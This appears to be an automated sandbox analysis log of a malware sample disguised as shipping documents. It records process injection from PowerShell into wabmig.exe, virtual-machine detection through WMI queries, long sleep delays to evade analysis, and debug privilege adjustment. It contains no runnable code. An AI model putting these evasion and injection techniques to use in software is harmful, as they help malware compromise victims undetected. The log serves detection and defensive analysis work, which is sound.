Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Program Files (x86)\Windows Mail\wabmig.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Switches to a custom stack to bypass stack traces

Source: C:\Program Files (x86)\Windows Mail\wabmig.exe

API/Special instruction interceptor: Address: 4EFF475

Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Memory allocated: 830000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Memory allocated: 24150000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Memory allocated: 23FA0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599888	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599563	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599342	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599016	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598688	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598563	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598216	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597117	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597000	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596888	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596782	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596672	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596559	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596344	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596232	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596015	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595907	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595782	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595657	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595532	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595407	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595297	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595188	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595063	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 594938	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 594813	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 594688	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 594578	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 594469	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 594346	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6496	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3236	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Window / User API: threadDelayed 3352	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Window / User API: threadDelayed 6477	Jump to behavior

Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll

Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5276	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -24903104499507879s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 4592	Thread sleep count: 3352 > 30	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -599888s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 4592	Thread sleep count: 6477 > 30	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -599671s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -599563s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -599342s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -599125s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -599016s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -598797s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -598688s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -598563s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -598453s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -598344s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -598216s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -598110s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -597985s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -597860s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -597735s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -597610s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -597485s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -597360s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -597235s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -597117s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -597000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -596888s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -596782s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -596672s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -596559s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -596453s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -596344s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -596232s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -596125s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -596015s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -595907s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -595782s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -595657s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -595532s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -595407s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -595297s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -595188s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -595063s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -594938s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -594813s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -594688s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -594578s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -594469s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 6948	Thread sleep time: -594346s >= -30000s	Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wabmig.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Code function: 0_2_00405C63 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C63
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Code function: 0_2_00402910 FindFirstFileW,	0_2_00402910
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Code function: 0_2_004068B4 FindFirstFileW,FindClose,	0_2_004068B4

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599888	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599563	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599342	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599016	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598688	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598563	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598216	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597117	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597000	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596888	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596782	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596672	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596559	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596344	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596232	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596015	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595907	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595782	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595657	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595532	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595407	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595297	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595188	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595063	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 594938	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 594813	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 594688	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 594578	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 594469	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 594346	Jump to behavior

Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: wabmig.exe, 00000008.00000002.3381693291.00000000086D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: wabmig.exe, 00000008.00000002.3381693291.000000000872F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wabmig.exe, 00000008.00000002.3381693291.00000000086D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWK

Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	API call chain: ExitProcess graph end node			graph_0-3784
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	API call chain: ExitProcess graph end node			graph_0-3789

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 2_2_04247810 LdrInitializeThunk,

2_2_04247810

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wabmig.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wabmig.exe base: 3AF0000			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wabmig.exe base: 83FBE0			Jump to behavior

